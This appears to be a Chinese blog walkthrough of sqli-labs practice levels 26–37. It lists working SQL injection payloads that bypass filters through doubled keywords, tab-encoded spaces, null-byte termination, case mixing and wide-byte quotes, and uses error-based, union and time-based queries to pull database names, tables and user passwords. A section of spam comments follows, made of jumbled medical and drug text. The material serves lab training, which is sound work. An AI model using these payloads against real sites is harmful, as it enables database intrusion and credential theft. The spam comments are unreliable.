您的位置 首页 php

sqli-labs —-less-26—37–练习

sqli-labs————Less-26(绕空格、/*、#等)

该关卡提示空格和注释被转义,我们测试一下:

报错

sqli-labs-master/Less-26/?id=1’ –+ 依旧报错,

我添加的注释不见了,应该是注释被转义成了空字符,我们换成;%00测试一下:

77f6b71e491c4dc190ec8fe2aa204b81

and应该被转义了 phpstorm 抓一下包看看

53e10170487f4190b2f054f3ba0cc060

4cfb3bf290a340e98807d862e5f25359

除了用;%00绕过,我们还可以使用id=1’ or ‘1’=’1进行绕过,但是要注意该关卡的or和空格都进行了转义,空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。

由于无法使用空格,因此’ (oorrder by 4);%00这种语句都无法使用, 我们使用报错注入:

  1. 替换:如 and 可替换为 && ,or 可替换为 ||

获取当前数据库

select * from users where id=’1′ union (select(extractvalue(1,concat(0x7e,database()))));%00

c3d2544ea7f24b35843508b43ba23ed4

获取所有数据库:

但是这里长度有限制,无法全部取出

’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata) )))));%00

获取security库中的表:

select * from users where id=’1′ || (select (extractvalue(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))))));%00

e69a99334e154279be0642baebe3c3cc

获取users库中字段:

select * from users where id=’1′ || (select (extractvalue(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where ((table_schema=0x7365637572697479) aandnd (table_name=0x7573657273)))))));%00 注意and也需要双写:

6671e9c557804670a48dba5d3b9e6d2d

获取username和password字段的信息:

注意password中or需要双写,由于长度限制,使用group_concat()函数无法取出全部数据,而且空格被转义,所有limit函数也无法使用,因此我们使用where(id=1)来定位数据,这样可以取出全部数据。

891af9f9aedd4bf08c3da527a676f9a6

sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (concat(username,0x7e,passwoorrd)) from (security.users) where (id=1))))));%00

sqli-labs————Less-27(union and等)

提示好像是 union and b被过滤了

f0e5e1e8959d4aff9ad954c395b23555

确定注入参数值类型,

id=1’报错 过滤了 1=1 1=2 没有报错

根据报错信息确定参数值类型为字符型

78183f1700c84c0a85fcf54bcf3b5250

是否过滤空格,也是过滤

aa90c72af51341849e0af79a99daa3ec

果然过滤union关键字

29e4b8e5eba54d3f82627bc78bec04a3

3c87988e761e47a28b9a35094c8c8a9b

select也是过滤的,但是大小写可以突破的

7ada5163d9824c18897515400c4e5ad0

PHPSTORM抓包看一下

有破绽 可以大小绕过

a53cf2e010ca473d8144731c33010afb

ccb5a05aa4ef4a9bba30b88d1a123d18

空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。

9c7e6c1aa8a942fe9f6d638a2a08b475

但是大小写可以突破的 空格%09绕过 ;%00带掉

回显显示为为3

be74a752b66f44d3a2c4e163263d92f3

54b7212c1c9d4b99b9fff44fd1f3c857

获取当前数据库名顺便获取当前用户名

a26fab8f9f774cd6ab91f613b7312757

94b2702a94d44458a7c02faf04fde929

列出(数据库:security)中所有的表

142d465ee6d94d0dab7de8fcad8269b4

列出(数据库:security 表:users )中所有的字段

www.sqli.com/less-27/?id=id=-1%27%09uNion%09seLect%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=%27security%27and%09table_name=%27users%27;%00

0f0ba81a0a1d4183b240d5a98384b7ba

列出(表:users )中第一段结果

www.sqli.com/less-27/?id=id=-1%27%09uNion%09seLect%091,group_concat(concat_ws(0x7e,username,password)),3%09from%09security.users;%00

369068b4fa9147e4ad8a4177fb762852

da09d9fd0248431990daaa8b4b6ea4ad

sqli-labs————Less-28()

老规矩先判断

’ 先来个单引号看看 果然报错 存在注入

3a2be46d640a471583e3f75542c35b05

然后双引号,看报错,猜测下语句里面用的是什么这里我用单引号报错了,然而双引号没有报错

0174faf21ca3444b9f5a82c48331e142

后面可能就是 select *from users where id=(‘xxx’)

4ddb805fffb34c2f93c019f9799c4a40

闭合成功 -1%27)%09aNd%09Sleep(10);%00

3f68a0b66cb5425986b5bde5077f04bb

PHPSTORM抓包看一下

6da60258129c4e33bdadd493a2088934

d521752535bb4b0b878ca998d862b322

9c38173c7d2a4cb4ae3ac6c79e0abc49

获取当前数据库名顺便获取当前用户名

这里就使用bool/time型注入,则注入得到当前用户的第一个字符

是r 猜测是root

9ea75ae2ed7143f58e6a13e91d4b05b6

后面就简单了

fde57a2e575045b48c70d5c408f06adc

sqli-labs————Less-29()

看下页面,(这个网站受到世界最好的防火墙保护)

e655e9bed2534270a9a5060799d379f9

老规矩先判断

输入一个引号发生错误,两个引号正常

12f25ac038b34f3a8730fd43c26eef59

9d04a2d2afa44884ad7098d3a32c510e

感觉是一个数字型

651c2d805a574385ae584b8a49ce99f8

然后输入(,看会不会报错

sql/Less-28a/?id=1)”

1bf842d40fe4491cb03f5a3cdcba2928

后面单引号是闭合原来语句的单引号,加上)没错,说明原来的语句有括号

语句可能就是 select *from users where id=’1’

8e379874231042999065f6eec66381b4

查看源代码

33cfbbcf4381480d939209a1fa0c926f

da56cb4c053046aabfb7512d97b4cda5

根据网上教程说是双服务器

验证一下结果如下

2ca3fc37dc2e447ab1c7a9a8f15ca4f3

据报错提示可以构造闭合了 ‘–+ ,看看是否存在联合查询注入,构造 ,回显如下,说明存在,接下来的操作和以前的单服务器一样了

dc004323adb141718532c53fffb2a7e0

获取当前的数据库用户名

9cdef3fd578e45e49cf24a6a92a5a72e

b7252b2eba8e4dd7bd3da22ea5f64a6f

列出当前的数据库所以表

cd3fca40bedd4c4bbcf51480a9b060e0

列出(数据库:security 表:users )中所有的字段

968a44cf153048c6ab65831b3d20686e

列出(表:users )中第一段结果

af6a269fe66d449f90ed0198a96d896c

sqli-labs————Less-30()

老规矩上来单引号 感觉和29差不多

99ed745bab3246e2a09fd0e54247bf87

双引号错误 可以猜猜对面可能是 select * from users where id=”1″

b7f47c1598494a45a6cdd3d9b25ee771

进一步验证

ac8d91a8a0984331837c9dbbd0a42ba0

d51434103e5c4d01b74db2a4496c94dd

sqli-labs————Less-35()

id=’ 报错 id=’’ 报错

1d2efa6ab38940fc8bb12b26a4c1bc62

a3da456977a24a4ca9ee7cf582f0b982

191da82af490409fac6602d7981bba78

bae7375193354d0fa75a40e08b40f5eb

4f42c11ff1864b0ca635e77119ae58c3

字段

cc99d60ff4cf4aeeb5eb27596b9fce4e

users 密码

6a735b9ff9424f02a97fcadf79c0854a

方法二(时间盲注)

判断当前库名称长度

and if(length(database())=,1,sleep(2))–+

没有延时并返回正确则说明正确,有延时则说明错误

判断当前数据库首字母(0x73是s的十六进制)

and if(substr((select database()),1,1)=0x73,1,sleep(2))–+

没有延时并返回正确则说明正确,有延时则说明错误

sqli-labs————Less-36()

查找注入点

提示显示被转义 ok

3d023d0790a842d4b98cf12a9a8a4b92

a5e0b609a6cd4be8a865c0f6dc12c4ee

c0ae07ed6bd7481992c4edb8937d885d

4fdb564995e4440a8aa6349fd62dd2f8

-1%df%27union%20select%201,database(),3%20–%201

注入点

源码被转义了

fae2c2457cc1493b96a93c5a3ac5197c

adac07e1413e428fa364cf5e0e9ef0a0

users 密码

0e04b3365c914c829d9ccfdeb451711b

判断当前库名称长度

’ and if(length(database())=,1,sleep(2))–+

sqli-labs————Less-37()

文章来源:智云一二三科技

文章标题:sqli-labs —-less-26—37–练习

文章地址:https://www.zhihuclub.com/32119.shtml

关于作者: 智云科技

热门文章

评论已关闭

31条评论

  1. Adverse reactions experienced Some side effects that people have experienced while taking Reglan include fatigue, drowsiness, diarrhea, constipation, rash and restlessness

  2. A cease and desist order was also passed against the manufacturer, along with revoking marketing approvals 147 mmol, S sulfonamide ligand I 50

  3. While it was not intended to be seen by the public, representatives from the city s unions and pension funds as wellas corporate creditors have been given the password to it afteragreeing to the nondisclosure agreement

  4. com 20 E2 AD 90 20Generico 20Do 20Viagra 20Ultrafarma 20 20Generic 20Viagra 20Wikipedia generic viagra wikipedia The report presented an alternative scenario which includesturning off the sequester and other planned spending cuts, butthis would cause public debt by 2038 to hit 190 percent of GDP We are in theory in favor of longer durations of endocrine therapy; however, decisions must be individualized based on each patient s benefit, risk, and desire to continue therapy

  5. Western blot showed that pSmad2 3 was activated during this process Figure 6 figure supplement 1e, f The efficacy of Paroxetin Actavis in the treatment of PTSD was established in two 12 week placebo controlled trials in adults with PTSD DSM IV see Clinical Trials

  6. We found plain Taq polymerases NEB M0270, Thermofisher Scientific 2x PCR Master Mix Cat AB 0575 DC and EP0402, or similar to be most suitable for nested PCR 143 CEDIBRIT BIOACTIVE Jalea malta x 300 g 16

  7. Individual patient data collected within the BLISTER trial included NHS treatment costs and health status, estimated as QALYs

  8. b12 sildenafil biogaran 100 mg avis While likely voters divide evenly on the plan, 8 percent oppose the law because it does not go far enough, wrote pollsters Stan Greenberg, James Carville and Erica Seifert in a memo accompanying the poll release An extrafascial, total hysterectomy with bilateral salpingo oophorectomy is then performed

  9. Mannino DM, Doherty DE, Buist SA Comparison of fracture, cardiovascular event, and breast cancer rates at 3 years in postmenopausal women with osteoporosis

  10. Any items you have not completed will be marked incorrect All of the issues that phenobarbital can create are entirely preventable

  11. No conclusions as to a causal relationship are yet being made, but if it is due to tamoxifen, we should advise a strategy for prevention, because this subtype is not as curable as endometrioid carcinoma 26, 2014, and then will travel to the San Francisco Asian Art Museum and later the Cleveland Museum of Art

  12. Edison Corp Briefly, well oriented gastric glands were identified and individual cells were scored morphologically, or based on positive immunostaining, starting with cell position 1 at the base of the gland, and extending up the gland to the luminal surface

  13. Water reabsorption along the early parts of the PT increases Mg concentration in the tubular lumen, creating a favorable gradient for Mg reabsorption in the distal section of the PT Codeine is utilized as a central analgesic, sedative, hypnotic, antinociceptive, and antiperistaltic agent, and is also recommended in certain diseases with incessant coughing

  14. A recent retrospective population based case control study found no association between hormonal contraception use and the development of PCS With prolonged use, your cat s brain will get accustomed to the effects of the drug, possibly causing withdrawal symptoms when the supply is cut off

  15. Statistical analysis showed that the risk was mostly due to singleton boys conceived from IVF Our decisions focus on the potential exclusionary effect of the patent, not the likely exclusionary effect

  16. Was this tea worth it in my opinion Initially, they told us that the technician would arrive somewhere 3- 5pm, but the technitian, Anthony called us later to inform the specific time he would be arriving so that we didn t have to wait around his arrival

  17. Understand there are different types of DCIS have or have had depression, mood problems or suicidal thoughts or behavior

  18. ritonavir increases levels of digoxin by decreasing renal clearance He does pee in there often but at least it s contained and the blankets and bed are easily washable

网站地图